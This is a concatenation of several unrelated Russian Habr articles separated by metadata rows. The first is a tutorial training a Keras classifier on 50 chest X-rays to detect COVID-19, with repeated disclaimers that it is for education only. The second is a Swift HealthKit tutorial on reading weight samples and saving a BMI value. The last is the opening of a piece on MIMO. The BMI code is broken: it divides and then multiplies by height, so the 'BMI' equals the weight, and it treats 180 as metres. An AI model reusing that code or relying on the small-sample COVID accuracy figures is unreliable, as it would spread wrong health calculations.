Вместо того, чтобы ничего не делать и позволять своему недугу держать меня дома (будь то аллергия, COVID-19 или мои страхи), я решил делать то, что могу: **напишу код, проведу эксперименты и на практических примерах научу других, как использовать компьютерное зрение и глубокое обучение**.
Сразу скажу, что это *не* самая научная статья, написанная мной. Она вообще не научная. Использованные методы и датасеты *не* стоят того, чтобы их публиковать. Но они служат начальной точкой для тех, кто хочет хоть *чем-то* помочь.
Я беспокоюсь за вас и за это сообщество. Я хочу помочь чем могу: эта статья — мой способ мысленно справиться с тяжёлым временем, одновременно помогая другим в схожей ситуации.
Из этого руководства вы узнаете:
1. Как собрать opensource-датасет рентгеновских снимков пациентов, у которых выявлена COVID-19.
2. Как собрать образцы «нормальных» (без признаков инфекции) рентгеновских снимков здоровых людей.
3. Как научить свёрточную нейросеть автоматически определять COVID-19 на рентгеновских снимках из созданного датасета.
4. Как оценить результаты с точки зрения обучения.
***Примечание:*** *Я уже намекнул на это, но теперь скажу прямо. Описанные здесь методики служат только образовательным целям. Это **не** строгое научное исследование, оно не будет опубликовано в журналах. Эта статья для читателей, которых интересует компьютерное зрение и глубокое обучение, которые хотят учиться на практике, а также для тех, кто вдохновляется текущими событиями. Прошу вас всё это учитывать.*
В первой части руководства мы обсудим, как можно обнаружить COVID-19 на рентгеновских снимках лёгких. Затем обсудим сам датасет. А потом я покажу, как обучить модель с помощью Keras и TensorFlow прогнозировать COVID-19 на наших изображениях.
### Пояснение
**Эта статья об автоматическом обнаружении COVID-19 написана только для образовательных целей. Она** ***не*** **описывает надёжную и точную систему диагностики COVID-19, не была проверена ни с профессиональной, ни с академической точки зрения.**
Моя цель — вдохновить вас и показать, как изучение компьютерного зрения и глубокого обучения с последующим применением этих знаний в медицинской сфере может оказать большое влияние на мир.
Представьте: **вам не нужно медицинское образование, чтобы повлиять на медицину**. Специалисты-практики по глубокому обучению сегодня тесно сотрудничают с врачами и прочими медиками в решении сложных проблем, спасают жизни и делают мир лучше.
Надеюсь, моё руководство вдохновит вас на это.
Но учитывая всё сказанное, исследователи, кураторы журналов и система рецензирования уже перегружены работами, в которых описываются модели прогнозирования COVID-19 сомнительного качества. **Пожалуйста, не отправляйте код и модель из этой статьи в журнал или какое-то научное издание — вы лишь увеличите хаос**.
Более того, если вы хотите на основе этой статьи (или любой другой публикации о COVID-19) проводить исследование, то придерживайтесь [TRIPOD-руководства по описанию прогнозирующих моделей.](https://www.equator-network.org/reporting-guidelines/tripod-statement/)
Как вы понимаете, применение искусственного интеллекта в медицинской сфере может иметь очень серьёзные последствия. Публикуйте и применяйте подобные модели только в том случае, если вы специалист-медик или если вас подробно консультировали такие специалисты.
### Как можно обнаружить COVID-19 на рентгеновских снимках?
***Иллюстрация 1:*** *Пример рентгеновского снимка пациента с диагностированной COVID-19. На таких снимках можно научить классификатор с помощью Keras и TensorFlow определять COVID-19.*
Пройти проверку на COVID-19 сейчас сложно — [тестов не хватает](https://www.usatoday.com/story/news/2020/03/11/coronavirus-covid-19-response-hurt-by-shortage-testing-components/5013586002/), а быстро произвести их невозможно, что только усиливает панику. А в условиях паники появляются мерзавцы, которые стараются нажиться на других [и продают фальшивые тесты на COVID-19](https://abc7news.com/5995593/), [находя себе доверчивых жертв в соцсетях и мессенджерах.](https://www.edgeprop.my/content/1658343/covid-19-home-testing-kits-are-fake-medical-authority)
Учитывая ограниченное количество тестов, нам нужно полагаться на другие способы диагностики.
Я решил изучать рентгеновские снимки, потому что врачи часто используют их и результаты компьютерной томографии для диагностирования пневмонии, лёгочных воспалений, абсцессов и увеличенных лимфоузлов. Поскольку вирус атакует клетки эпителия, которые выстилают респираторный тракт, мы можем с помощью рентгеновских снимков изучить состояние лёгких человека. А поскольку рентгеновские аппараты есть почти везде, то с помощью снимков можно обнаруживать COVID-19 *без* тестовых наборов.
К недостаткам метода можно отнести потребность в специалистах-рентгенологах, а также значительную длительность обработки. А время особенно дорого, когда по всему миру болеют люди. **И для экономии времени врачей нужно создать систему автоматического анализа**.
***Примечание:*** *есть более свежие публикации, в которых предполагается, что для диагностирования COVID-19 лучше использовать компьютерную томографию. Но мы будем работать только с рентгеновскими снимками. Кроме того, я* ***не*** *медик, и предполагаю, что есть другие, более надёжные методы определения COVID-19, помимо тестовых наборов.*
### Датасет снимков пациентов с COVID-19
***Иллюстрация 2:*** *слева снимки людей с положительным результатом (инфицированные), справа — с отрицательным. На этих изображениях мы научим модель с помощью TensorFlow и Keras автоматически прогнозировать наличие COVID-19 (то есть заболевание, возникающее из-за коронавируса).*
Использованный здесь датасет снимков пациентов с COVID-19 был собран под контролем [доктора Джозефа Коэна](https://josephpcohen.com/w/), аспиранта Монреальского университета. Несколько дней назад Коэн начал собирать рентгеновские снимки больных COVID-19 и выкладывать их [в GitHub-репозитории.](https://github.com/ieee8023/covid-chestxray-dataset) Там вы найдёте примеры не только этой болезни, но также MERS, SARS и ARDS.
Для создания датасета я:
1. Отпарсил файл metadata.csv из репозитория.
2. Выбрал все строки:
Всего получилось **25 снимков с положительными результатами на COVID-19** (**Иллюстрация 2**, *слева*).
**Теперь выберем снимки здоровых людей.**
Для этого я взял [датасет рентгеновских снимков лёгких Kaggle’s (пневмония)](https://www.kaggle.com/paultimothymooney/chest-xray-pneumonia) и выбрал **25 снимков здоровых людей** (**Иллюстрация 2**, *справа*). У этого датасета есть ряд недостатков, в том числе плохо или ошибочно заполненные метки, но он годится как начальная точка для проверки гипотезы детектора COVID-19.
В результате я получил **50 снимков:** 25 больных COVID-19 и 25 здоровых. **Скачать датасет можете по** [**ссылке**](https://app.monstercampaigns.com/c/tortsem7qkvyuxc4cyfi). Кроме того, я добавил Python-скрипты, с помощью которых сгенерировал датасет, но в этой статье я их не рассматривал.
### Структура проекта
Скачайте код и данные. Вытащите оттуда файлы, и вы получите такую структуру директорий:
```
$ tree --dirsfirst --filelimit 10
.
├── dataset
│ ├── covid [25 entries]
│ └── normal [25 entries]
├── build_covid_dataset.py
├── sample_kaggle_dataset.py
├── train_covid19.py
├── plot.png
└── covid19.model
```
Три директории, пять файлов. Датасет лежит в директории dataset/ и разделён на два класса — covid/ и normal/. Ниже мы рассмотрим скрипт train\_covid19.py, который обучает наш детектор COVID-19.
### Реализация обучающего скрипта
Перейдём к тонкой настройке свёрточной нейросети, которая будет автоматически диагностировать COVID-19 с помощью Keras, TensorFlow и глубокого обучения.
Откройте файл train\_covid19.py и вставьте такой код:
```
# import the necessary packages
from tensorflow.keras.preprocessing.image import ImageDataGenerator
from tensorflow.keras.applications import VGG16
from tensorflow.keras.layers import AveragePooling2D
from tensorflow.keras.layers import Dropout
from tensorflow.keras.layers import Flatten
from tensorflow.keras.layers import Dense
from tensorflow.keras.layers import Input
from tensorflow.keras.models import Model
from tensorflow.keras.optimizers import Adam
from tensorflow.keras.utils import to_categorical
from sklearn.preprocessing import LabelBinarizer
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report
from sklearn.metrics import confusion_matrix
from imutils import paths
import matplotlib.pyplot as plt
import numpy as np
import argparse
import cv2
import os
```
Этот скрипт использует возможности TensorFlow 2.0 и библиотек Keras посредством выбора импортирований tensorflow.keras. Также мы используем:
* [scikit-learn](https://scikit-learn.org/stable/), это *де факто* Python-библиотека для машинного обучения,
* [matplotlib](https://matplotlib.org) для построения графиков,
* [OpenCV](https://opencv.org) для загрузки и предварительной обработки изображений в датасете.
Чтобы узнать, как установить TensorFlow 2.0 (в том числе scikit-learn, OpenCV and matplotlib), почитайте мои руководства для [Ubuntu](https://www.pyimagesearch.com/2019/12/09/how-to-install-tensorflow-2-0-on-ubuntu/) или [macOS](https://www.pyimagesearch.com/2019/12/09/how-to-install-tensorflow-2-0-on-macos/).
Теперь распарсим аргументы для командной строки и инициализируем гиперпараметры:
```
# construct the argument parser and parse the arguments
ap = argparse.ArgumentParser()
ap.add_argument("-d", "--dataset", required=True,
help="path to input dataset")
ap.add_argument("-p", "--plot", type=str, default="plot.png",
help="path to output loss/accuracy plot")
ap.add_argument("-m", "--model", type=str, default="covid19.model",
help="path to output loss/accuracy plot")
args = vars(ap.parse_args())
# initialize the initial learning rate, number of epochs to train for,
# and batch size
INIT_LR = 1e-3
EPOCHS = 25
BS = 8
```
Наши три [аргумента для командной строки](https://www.pyimagesearch.com/2018/03/12/python-argparse-command-line-arguments/) (**строки 24-31**) включают в себя:
* `--dataset`: путь ко входному датасету.
* `--plot`: опциональный путь к выходному графику истории обучения. По умолчанию график называется plot.png, если в командной строке не задано другое имя.
* `--model`: опциональный путь к нашей выходной модели определения COVID-19. По умолчанию она называется covid19.model.
Теперь инициализируем начальную частоту обучения, количество эпох обучения и гиперпараметры размера пакета (**строки 35-37**).
Далее загрузим и предварительно обработаем рентгеновские снимки:
```
# grab the list of images in our dataset directory, then initialize
# the list of data (i.e., images) and class images
print("[INFO] loading images...")
imagePaths = list(paths.list_images(args["dataset"]))
data = []
labels = []
# loop over the image paths
for imagePath in imagePaths:
# extract the class label from the filename
label = imagePath.split(os.path.sep)[-2]
# load the image, swap color channels, and resize it to be a fixed
# 224x224 pixels while ignoring aspect ratio
image = cv2.imread(imagePath)
image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
image = cv2.resize(image, (224, 224))
# update the data and labels lists, respectively
data.append(image)
labels.append(label)
# convert the data and labels to NumPy arrays while scaling the pixel
# intensities to the range [0, 1]
data = np.array(data) / 255.0
labels = np.array(labels)
```
Для загрузки данных мы берём все пути к изображениям в директории --dataset (**строка 42**), а затем для каждого imagePath:
* Извлекаем из пути (**строка 49**) метку класса (covid или normal).
* Загружаем изображение, преобразуем в RGB-каналы и уменьшаем до размера 224х224 пикселя, чтобы подать свёрточной нейросети (**строки 53-55**).
* Обновляем списки данных и меток (**строки 58 и 59**).
Затем масштабируем пиксельную интенсивность в диапазон `[0, 1]` и преобразуем данные и метки в формат массива NumPy (**строки 63 и 64**).
Далее мы выполним one-hot-кодирование наших меток и разделим датасет на обучающий и тестовый наборы:
```
# perform one-hot encoding on the labels
lb = LabelBinarizer()
labels = lb.fit_transform(labels)
labels = to_categorical(labels); print(labels)
# partition the data into training and testing splits using 80% of
# the data for training and the remaining 20% for testing
(trainX, testX, trainY, testY) = train_test_split(data, labels,
test_size=0.20, stratify=labels, random_state=42)
# initialize the training data augmentation object
trainAug = ImageDataGenerator(
rotation_range=15,
fill_mode="nearest")
```
Унитарное кодирование меток выполняется в **строках 67-69**: данные будут представлены в таком формате:
```
[[0. 1.]
[0. 1.]
[0. 1.]
...
[1. 0.]
[1. 0.]
[1. 0.]]
```
Каждая закодированная таким образом метка состоит из двухэлементного массива, в котором один из элементов является «горячим» (1), а второй «нет» (0). В **строках 73 и 74** датасет делится на две части: 80 % для обучения, 20 % для тестирования.
Для обобщения модели мы выполним [расширение данных](https://www.pyimagesearch.com/2019/07/08/keras-imagedatagenerator-and-data-augmentation/) (data augmentation), задав случайный поворот изображений на 15 градусов по часовой стрелке или против неё. Объект генерирования расширения инициализируется в **строках 77-79**.
Теперь инициализируем модель VGGNet подготовим её к [тонкой настройке](https://www.pyimagesearch.com/2019/06/03/fine-tuning-with-keras-and-deep-learning/):
```
# load the VGG16 network, ensuring the head FC layer sets are left
# off
baseModel = VGG16(weights="imagenet", include_top=False,
input_tensor=Input(shape=(224, 224, 3)))
# construct the head of the model that will be placed on top of the
# the base model
headModel = baseModel.output
headModel = AveragePooling2D(pool_size=(4, 4))(headModel)
headModel = Flatten(name="flatten")(headModel)
headModel = Dense(64, activation="relu")(headModel)
headModel = Dropout(0.5)(headModel)
headModel = Dense(2, activation="softmax")(headModel)
# place the head FC model on top of the base model (this will become
# the actual model we will train)
model = Model(inputs=baseModel.input, outputs=headModel)
# loop over all layers in the base model and freeze them so they will
# *not* be updated during the first training process
for layer in baseModel.layers:
layer.trainable = False
```
В **строках 83 и 84** создаётся экземпляр нейросети VGG16 с весами, заранее полученными на ImageNet, без полносвязного слоя.
Далее мы создадим полносвязный слой, состоящий из слоёв POOL => FC = SOFTMAX (**строки 88-93**), и поместим его наверх VGG16 (**строка 97**).
Теперь заморозим CONV-веса, чтобы только обучался *только* полносвязный слой (**строки 101-102**). На этом тонкая настройка завершается.
Теперь мы готовы скомпилировать и обучить нашу модель глубокого обучения:
```
# compile our model
print("[INFO] compiling model...")
opt = Adam(lr=INIT_LR, decay=INIT_LR / EPOCHS)
model.compile(loss="binary_crossentropy", optimizer=opt,
metrics=["accuracy"])
# train the head of the network
print("[INFO] training head...")
H = model.fit_generator(
trainAug.flow(trainX, trainY, batch_size=BS),
steps_per_epoch=len(trainX) // BS,
validation_data=(testX, testY),
validation_steps=len(testX) // BS,
epochs=EPOCHS)
```
В **строках 106-108** компилируется сеть с [затуханием скорости обучения](https://www.pyimagesearch.com/2019/07/22/keras-learning-rate-schedules-and-decay/) и оптимизатором Adam. Учитывая, что это задача двухклассовой классификации, мы воспользуемся loss-функцией бинарной перекрёстной энтропии (binary\_crossentropy), а не категориальной перекрёстной энтропии (categorical crossentropy).
Для запуска обучения мы вызовем Keras-метод [fit\_generator](https://www.pyimagesearch.com/2018/12/24/how-to-use-keras-fit-and-fit_generator-a-hands-on-tutorial/) и передадим ему наши рентгеновские снимки посредством объекта расширения данных (**строки 112-117**).
Теперь оценим работу модели:
```
# make predictions on the testing set
print("[INFO] evaluating network...")
predIdxs = model.predict(testX, batch_size=BS)
# for each image in the testing set we need to find the index of the
# label with corresponding largest predicted probability
predIdxs = np.argmax(predIdxs, axis=1)
# show a nicely formatted classification report
print(classification_report(testY.argmax(axis=1), predIdxs,
target_names=lb.classes_))
```
Для этого сначала выполним прогнозирование на основе тестового набора и получим прогнозные индексы (**строки 121-125**). Затем сгенерируем и выведем с помощью вспомогательной утилиты scikit-learn отчёт о классификации (**строки 128 и 129**).
Теперь вычислим матрицу неточностей (confusion matrix) для будущей статистической оценки:
```
# compute the confusion matrix and and use it to derive the raw
# accuracy, sensitivity, and specificity
cm = confusion_matrix(testY.argmax(axis=1), predIdxs)
total = sum(sum(cm))
acc = (cm[0, 0] + cm[1, 1]) / total
sensitivity = cm[0, 0] / (cm[0, 0] + cm[0, 1])
specificity = cm[1, 1] / (cm[1, 0] + cm[1, 1])
# show the confusion matrix, accuracy, sensitivity, and specificity
print(cm)
print("acc: {:.4f}".format(acc))
print("sensitivity: {:.4f}".format(sensitivity))
print("specificity: {:.4f}".format(specificity))
```
Здесь мы:
* генерируем матрицу неточностей (**строка 133**),
* используем эту матрицу для определения точности, чувствительности и специфичности (**строки 135-137**), а затем выводим все эти метрики (**строки 141-143**).
Затем для последующего анализа выводим в виде графика в файле историю изменения точности и потерь:
```
# plot the training loss and accuracy
N = EPOCHS
plt.style.use("ggplot")
plt.figure()
plt.plot(np.arange(0, N), H.history["loss"], label="train_loss")
plt.plot(np.arange(0, N), H.history["val_loss"], label="val_loss")
plt.plot(np.arange(0, N), H.history["accuracy"], label="train_acc")
plt.plot(np.arange(0, N), H.history["val_accuracy"], label="val_acc")
plt.title("Training Loss and Accuracy on COVID-19 Dataset")
plt.xlabel("Epoch #")
plt.ylabel("Loss/Accuracy")
plt.legend(loc="lower left")
plt.savefig(args["plot"])
```
И в завершение сериализуем модель классификатора tf.keras на диск:
```
# serialize the model to disk
print("[INFO] saving COVID-19 detector model...")
model.save(args["model"], save_format="h5")
```
### Обучаем наш детектор с помощью Keras и TensorFlow
После реализации скрипта train\_covid19.py можем обучить автоматический детектор.
Скачайте исходный код, датасет и предварительно обученную модель. Откройте терминал и выполните команду для обучения детектора:
```
$ python train_covid19.py --dataset dataset
[INFO] loading images...
[INFO] compiling model...
[INFO] training head...
Epoch 1/25
5/5 [==============================] - 20s 4s/step - loss: 0.7169 - accuracy: 0.6000 - val_loss: 0.6590 - val_accuracy: 0.5000
Epoch 2/25
5/5 [==============================] - 0s 86ms/step - loss: 0.8088 - accuracy: 0.4250 - val_loss: 0.6112 - val_accuracy: 0.9000
Epoch 3/25
5/5 [==============================] - 0s 99ms/step - loss: 0.6809 - accuracy: 0.5500 - val_loss: 0.6054 - val_accuracy: 0.5000
Epoch 4/25
5/5 [==============================] - 1s 100ms/step - loss: 0.6723 - accuracy: 0.6000 - val_loss: 0.5771 - val_accuracy: 0.6000
...
Epoch 22/25
5/5 [==============================] - 0s 99ms/step - loss: 0.3271 - accuracy: 0.9250 - val_loss: 0.2902 - val_accuracy: 0.9000
Epoch 23/25
5/5 [==============================] - 0s 99ms/step - loss: 0.3634 - accuracy: 0.9250 - val_loss: 0.2690 - val_accuracy: 0.9000
Epoch 24/25
5/5 [==============================] - 27s 5s/step - loss: 0.3175 - accuracy: 0.9250 - val_loss: 0.2395 - val_accuracy: 0.9000
Epoch 25/25
5/5 [==============================] - 1s 101ms/step - loss: 0.3655 - accuracy: 0.8250 - val_loss: 0.2522 - val_accuracy: 0.9000
[INFO] evaluating network...
precision recall f1-score support
covid 0.83 1.00 0.91 5
normal 1.00 0.80 0.89 5
accuracy 0.90 10
macro avg 0.92 0.90 0.90 10
weighted avg 0.92 0.90 0.90 10
[[5 0]
[1 4]]
acc: 0.9000
sensitivity: 1.0000
specificity: 0.8000
[INFO] saving COVID-19 detector model...
```
### Автоматическое диагностирование по рентгеновским снимкам
***Примечание:** в этой части мы никак не «решаем» задачу определения COVID-19. Она написана в контексте текущей ситуации и только ради образовательных целей. Это пример практического применения компьютерного зрения и глубокого обучения, чтобы вы освоились с разными метриками, в том числе обычную точность, чувствительность и специфичность (и компромиссы, которые нужно учитывать при работе с медицинскими данными). Повторюсь, мы **не решаем** задачу определения COVID-19.*
Итак, наш автоматический детектор показал точность **~90-92 %** на образцах *одних лишь* рентгеновских снимков. Другой информации для обучения модели не использовалось, в том числе географического местоположения, плотности населения и т. д.
Мы также получили **чувствительность 100 %** и **специфичность 80 %**, что означает:
* Из пациентов, *имеющих* COVID-19 (истинно положительные случаи), с помощью модели **мы смогли точно идентифицировать как «COVID-19-положительных» в 100 % случаев.**
* Из пациентов, *не имеющих* COVID-19 (истинно отрицательные случаи), с помощью модели **мы смогли точно идентифицировать как «COVID-19-отрицательных» только в 80 % случаев.**
Как показывает график истории обучения, нейросеть не переобучена, несмотря на *очень небольшой* размер обучающих данных:
***Иллюстрация 3:** этот график точности и потерь демонстрирует, что наша модель не переобучена.*
Прекрасно, что мы добились точности в 100 % при обнаружении COVID-19. Однако смущает ситуация с истинно отрицательными случаями: **мы не хотим отнести к «COVID-19-отрицательным» тех, кто на самом деле «COVID-19-положительные».**
Мы меньше всего хотим отпустить домой больных пациентов, к семьям и друзьям, способствуя дальнейшему распространению болезни.
Также нужно быть *очень осторожными* с долей ложноположительных случаев: **мы не хотим ошибочно посчитать кого-то больным и посадить его на карантин с другими больными, чтобы он от них заразился**.
Поиск баланса между чувствительностью и специфичностью — *крайне сложная* задача, особенно когда речь идёт о медицине, и *особенно* когда речь идёт о быстро распространяющихся инфекционных заболеваниях.
Говоря о медицинском компьютерном зрении и глубоком обучении всегда нужно помнить, что работа наших прогнозных моделей может иметь очень серьёзные последствия: **ошибочные диагнозы могут стоить жизней**.
Повторюсь, результаты в этой статье представлены *только с образовательной целью*. Это не журнальная публикация, эти данные не удовлетворяют критериям [TRIPOD по публикациям прогнозных моделей.](https://www.equator-network.org/reporting-guidelines/tripod-statement/)
### Ограничения, улучшения и дальнейшая работа
***Иллюстрация 4:** сегодня специалистам по ИИ и глубокому обучению не хватает качественных данных по COVID-19 для эффективного обучения автоматических систем определения по изображениям.*
Одним из главных ограничений описанного в этом руководстве метода являются данные.
**У нас нет достаточно количества (надёжных) данных для обучения детекторов COVID-19.**
В больницах уже много историй болезни с этим вирусом, но учитывая конфиденциальность и права человека, становится ещё сложнее быстро собрать качественный датасет из медицинских изображений. Я считаю, что в следующие 12-18 месяцев у нас будет больше качественных данных. Но пока приходится пользоваться тем, что есть.
Я постарался (учитывая своё физическое и умственное состояние) в условиях ограниченного времени и ресурсов написать это руководство для тех, кого интересует применение компьютерного зрения и глубокого обучения. Но напомню, что **я не профессиональный медик**.
Чтобы использовать детектор COVID-19 в реальной жизни, он должен пройти *жёсткое* тестирование настоящими врачами, работающими рука об руку со специалистами по глубокому обучению. Описанный мной метод для этого не годится.
**Более того, нужно быть осторожными с тем, чему именно «учится» модель.**
Как я писал в [руководстве по Grad-CAM](https://www.pyimagesearch.com/2020/03/09/grad-cam-visualize-class-activation-maps-with-keras-tensorflow-and-deep-learning/), есть вероятность, что модель научится паттернам, которые не релевантны COVID-19, а всего лишь сможет различать две выборки данных (то есть положительные и отрицательные диагнозы). Результаты нашего детектора нужно будет строго тестировать и проверять врачам.
**И наконец, будущие (и более совершенные) детекторы будут мультимодальными.**
Сейчас мы используем только визуальные данные (рентгеновские снимки). А более качественные детекторы должны использовать и другие данные: жизненные показатели пациентов, плотность населения, географическое местоположение и т.д. **Одних лишь визуальных данных обычно недостаточно для подобных задач**.
**По этим причинам я хочу снова подчеркнуть: это руководство играет лишь роль обучающего материала — его нельзя рассматривать как надёжный детектор COVID-19.**
Если вы считаете, что у вас или у кого-то из близких COVID-19, то следуйте рекомендациям представителей вашей системы здравоохранения.
Надеюсь, это руководство было для вас полезным. Также надеюсь, что оно станет для кого-то отправной точкой в поиске методики использования компьютерного зрения и глубокого обучения для автоматического определения COVID-19.
Итоги
-----
Из этого руководства вы узнали, как можно использовать Keras, TensorFlow и глубокое обучение для создания автоматического детектора COVID-19 на датасете из рентгеновских снимков.
Сегодня (ещё) не существует качественных и проверенных датасетов изображений по этой болезни, поэтому приходится работать с [репозиторием Джозефа Коэна](https://github.com/ieee8023/covid-chestxray-dataset):
* **Мы взяли 25 изображений из его датасета,** ограничившись заднепередней проекцией положительно диагностированных случаев.
* **Затем взяли 25 снимков здоровых людей** из датасета [Kaggle Chest X-Ray Images (Pneumonia).](https://www.kaggle.com/paultimothymooney/chest-xray-pneumonia)
Затем с помощью Keras и TensorFlow мы обучили детектор COVID-19, который показал **точность 90-92 %** на нашей тестовой выборке, с чувствительностью 100 % и специфичностью 80 % (на нашем маленьком датасете).
**Помните, что описанный здесь детектор предназначен только для образовательных целей (см. Примечание в тексте).** Я хотел вдохновить других людей на использование глубокого обучения, показать, что в сочетании с компьютерным зрением оно может оказать *большое влияние* на нашу жизнь.
Надеюсь, вам понравилось. | https://habr.com/ru/post/493614/ | null | ru | null |
# Работа с HealthKit. Часть 2
Конец и начало года у разработчиков, как правило, всегда наполнены большим количеством проектов. Разобравшись со срочными делами и закатав повыше рукава, мы в Techmas пообещали себе делиться еще бОльшим количеством своих разработок с коллегами.
Несмотря на растущую популярность приложений, которые уже используют HealthKit, спрос на мобильные решения для оценки состояния здоровья продолжает [развиваться](http://techmas.ru/cases/Accenture-Losing-Patience.pdf).
Для пояснения всех основных принципов работы c платформой, мы решили вернуться к примеру из прошлой публикации и дополнить его работой с выборками данных из Health.
Введение
---------
Напомним, ранее мы сделали обзор общего функционала HealthKit, рассмотрели приложение для аутентификации в Health и вывода характеристик (*characteristics*) пользователя. Сейчас мы разберемся с выборками (*samples*) для чтения и записи новых данных по тренировкам.
Выборки (*samples*) отличаются от характеристик (*characteristics*) тем, что они меняются с течением времени и зависят от поведения пользователя. Например, выборки используются для добавления новых данных по тренировкам, их визуализации, определения и расчета дополнительных параметров.
В примере мы покажем как считывать данные по росту и весу пользователя из приложения Health. Далее по ним рассчитаем показатель BMI (индекс массы тела) и добавим полученное значение для отслеживания динамики его изменения.
Итак, вернемся к приложению из предыдущей части. Его код находится [здесь](https://github.com/barsuga/techHealthKit).
Подготовка выборки
-------------------
Создадим тестовые данные для выборки в приложение Health.
Для этого выберем на закладке Body Measurements пункт Weight и внесем несколько ключевых точек с информацией о весе (weight) через Add Data Point.
Данные можно вводить какие угодно и сколько угодно за разные промежутки времени.
Теперь получим разрешение работы с параметрами выборки. Добавим в функцию авторизации *authorizeHealthKit()* (отдельно мы говорили об авторизации ранее):
```
let healthKitTypesToWrite = Set(arrayLiteral:
HKObjectType.quantityTypeForIdentifier(HKQuantityTypeIdentifierBodyMass)!,
HKObjectType.quantityTypeForIdentifier(HKQuantityTypeIdentifierActiveEnergyBurned)!,
HKObjectType.quantityTypeForIdentifier(HKQuantityTypeIdentifierDistanceWalkingRunning)!
)
```
Чтение выборки из Health
-------------------------
В нашем примере создадим функцию *readMostRecentSample()*, которая будет считывать показатели по дате и типу.
Для получения выборки необходимо использовать подкласс *HKSampleQuery*, который наследуется от *HKQuery*. По сути, он работает аналогично *NSFetchedRequest* в Core Data.
При формировании запроса доступны параметры:
1. Тип выборки (например, вес или рост), *Type*.
2. Условия выделения выборки (период, значения, пр.), *NSPredicate*.
3. Метод сортировки, *NSSortDescriptors*.
Второй и третий параметры задаются опционально. После формирования запроса необходимо выполнить *executeQuery()* для вывода его результата.
В нашем примере создадим метод получения последнего значения для указанного типа выборки. Добавим следующий код в функцию *readMostRecentSample()*:
```
// 1. Подготовим параметры периода
let past = NSDate.distantPast()
let now = NSDate()
let mostRecentPredicate = HKQuery.predicateForSamplesWithStartDate(past, endDate:now, options: .None)
// 2. Зададим значение сортировки в обратном порядке
let sortDescriptor = NSSortDescriptor(key:HKSampleSortIdentifierStartDate, ascending: false)
// 3. Ограничим вывод одним значением
let limit = 1
// 4. Выполним построение запроса
let sampleQuery = HKSampleQuery(sampleType: sampleType, predicate: mostRecentPredicate, limit: limit, sortDescriptors: [sortDescriptor])
{ (sampleQuery, results, error ) -> Void in
if let queryError = error {
completion(nil,error)
return;
}
// Выделим крайнее значение
let mostRecentSample = results!.first as? HKQuantitySample
if completion != nil {
completion(mostRecentSample,nil)
}
}
// 5. Выполним сам запрос
self.healthKitStore.executeQuery(sampleQuery)
```
Наша функция позволяет получать последние данные по выборкам определенного типа. Для простоты, вызов *readMostRecentSample()* добавим в метод *viewDidLoad()*:
```
// 1. Подготовка параметра HKSampleType для определения веса
let sampleType = HKSampleType.quantityTypeForIdentifier(HKQuantityTypeIdentifierBodyMass)
// 2. Вызов функции для выделения крайнего значения
self.readMostRecentSample(sampleType!, completion: { (mostRecentWeight, error) -> Void in
if( error != nil )
{
print("Error reading weight from HealthKit Store: \(error.localizedDescription)")
return;
}
```
Здесь мы используем *quantityTypeForIdentifier* для определения необходимой выборки, в нашем случае это *HKQuantityTypeIdentifierBodyMass*.
Расчет значения BMI
--------------------
Теперь создадим набор для расчета и записи BMI. Он будет рассчитываться по формуле:
```
bmi = weight / height ^ 2
```
Как было показано выше, выделяем значение веса (weight) из Health. Таким же образом мы получим рост (height) пользователя (заменив тип данных и формат, используем *HKQuantityTypeIdentifierHeight)*.
Здесь нам понадобится объект *HKQuantitySample*. Также необходимо указать:
• Тип объекта *HKQuantityType* для сохранения. В нашем случае это *HKQuantityTypeIdentifierBodyMassIndex*.
• Объект *HKQuantity*. Он инициализируется с передаваемым значением из параметра bmi. Важно, что для преобразования скалярного типа Double используется *HKUnit.countUnit()*, который позволяет конвертировать типы в необходимые единицы измерения.
Тогда расчет BMI будет выглядеть следующим образом:
```
var weight: HKQuantitySample
var weightLocalizedString = “empty"
weight = (mostRecentWeight as? HKQuantitySample)!;
kilograms = weight.quantity.doubleValueForUnit(HKUnit.gramUnitWithMetricPrefix(.Kilo))
let weightFormatter = NSMassFormatter()
weightFormatter.forPersonMassUse = true;
weightLocalizedString = weightFormatter.stringFromKilograms(kilograms)
print(weightLocalizedString)
let weightInKilograms = kilograms
let heightInMeters: Double = 180
let bmi = weightInKilograms / heightInMeters * heightInMeters
print(String(format: "%.02f", bmi))
```
Также отметим использование форматирование результатов с помощью *NSMassFormatter*. Сам *NSMassFormater*, в сущности, не является частью HelathKit, но позволяет работать с типами данных Health. В частности, если в приложение используются килограммы, а устройство не использует метрическую систему, мы имеем возможность привести единицы измерения к нужному виду.
Мы не будем останавливаться на вопросах интерфейса, поэтому результаты выведем в консоль.
Добавление новой выборки в Health
----------------------------------
Наконец, для записи полученного значения BMI в HelathKit создадим метод *saveBMISample(bmi:Double, date:NSDate)*. Выходные параметры: само значение BMI и дата его регистрации.
```
// 1. Создадим выборку BMI
let bmiType = HKQuantityType.quantityTypeForIdentifier(HKQuantityTypeIdentifierBodyMassIndex)
let bmiQuantity = HKQuantity(unit: HKUnit.countUnit(), doubleValue: bmi)
let bmiSample = HKQuantitySample(type: bmiType, quantity: bmiQuantity, startDate: date, endDate: date)
// 2. Сохраним выборку в Health
healthKitStore.saveObject(bmiSample, withCompletion: { (success, error) -> Void in
if( error != nil ) {
println("Error saving BMI sample: \(error.localizedDescription)")
} else {
println("BMI sample saved successfully!")
}
})
```
Новое значение BMI доступно как для стандартного просмотра, так и может быть использовано сторонним авторизованным приложением.
Примечание
-----------
На практике все методы для работы c HealthKit имеет смысл вынести в отдельный класс.
Для нашего примера мы ограничились лишь демонстрацией ключевых этапов работы с платформой.
Код конечного приложения находится [здесь](https://github.com/nindzyago/hktests). | https://habr.com/ru/post/276429/ | null | ru | null |
# Для тех у кого MIMO прошло мимо…
Доброго времени суток, Хабр! Разбирая тему технологии **MIMO** (Multiple input-multiple output), которая сейчас используется повсеместно, я обнаружил насколько мало материала по этой тематике представлено в отечественной литературе. Хабр регулярно читаю около 3 лет и полного ликбеза по этому вопросу я здесь тоже не видел. Постараюсь исправить эту ситацию. Как ЭТО работает и почему это актуально именно сегодня, а также история развития этой технологии. Кого заинтересовало прошу под кат.
##### Немножко истории
У большого числа технологий, которые имеют место в сегодняшней телекоммуникационной среде «ноги растут» из **военных наработок**. Технология ортогонального частотного мультиплексирования (OFDM), например, была предложена ещё в 80-х годах нашими американскими друзьями, но реализовать её удалось совсем недавно лишь потому, что она чрезвычайно требовательна к вычислительной мощности системы (всему виной пресловутое **БПФ**).
